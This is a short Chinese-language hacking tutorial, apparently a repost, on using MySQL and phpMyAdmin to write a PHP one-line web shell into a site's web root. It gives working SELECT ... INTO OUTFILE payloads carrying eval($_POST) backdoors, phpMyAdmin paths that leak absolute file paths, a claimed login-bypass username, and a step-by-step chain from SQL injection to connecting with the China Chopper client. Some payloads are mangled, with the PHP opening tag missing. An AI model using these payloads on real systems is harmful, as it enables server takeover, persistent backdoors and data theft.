先介绍

MySQL导出一句话木马的语法(我个人比较喜欢说思路)

Drop TABLE IF EXISTS temp; //如果存在temp就删掉

Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段

Insert INTO temp (cmd) VALUES(' php eval_r($_POST[cmd]);?>'); //把一句话木马插入到temp表

Select cmd from temp into outfile 'F:/wwwroot/eval.php'; //查询temp表中的一句话并把结果导入到eval.php

Drop TABLE IF EXISTS temp; //删除temp

简化     Select ' php eval_r($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';

(以上的意思大概看看就可以下面来碰运气)

利用方法:用户名处写入‘localhost’@'@”则登录成功。 (注意全部是英文标点符号,最后一个为英文双引号)

附上几个php爆绝对路径的办法:

phpMyAdmin/libraries/select_lang.lib.php

phpMyAdmin/darkblue_orange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

利用mysql数据库爆网站绝对路径方法

使用phpmyadmin的某个文件报错

phpmyadmin爆路径方法 weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php

phpMyAdmin/libraries/select_lang.lib.php

1.首先通过注入获取mysql数据库的用户名和密码

2.通过相关渠道获取mysql数据库的路径

3.使用用户名和密码登陆mysql

4.获取网站可写目录的绝对路径

5.点击进入sql编辑器,输入上述代码,将一句话木马写入网站

6.使用菜刀连接一句话

使用phpmyadmin中的sql语句

写文件:

select '<?php @eval($_POST[1])?>' into outfile '/data/www/XXX/cp/log.php'

最后的/cp/log.php的文件名可以任意起的,不是固定的。

56035601_1.png

登录phpMyAdmin,写入一句话d:/wwwroot/1.php

select '<?eval ($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐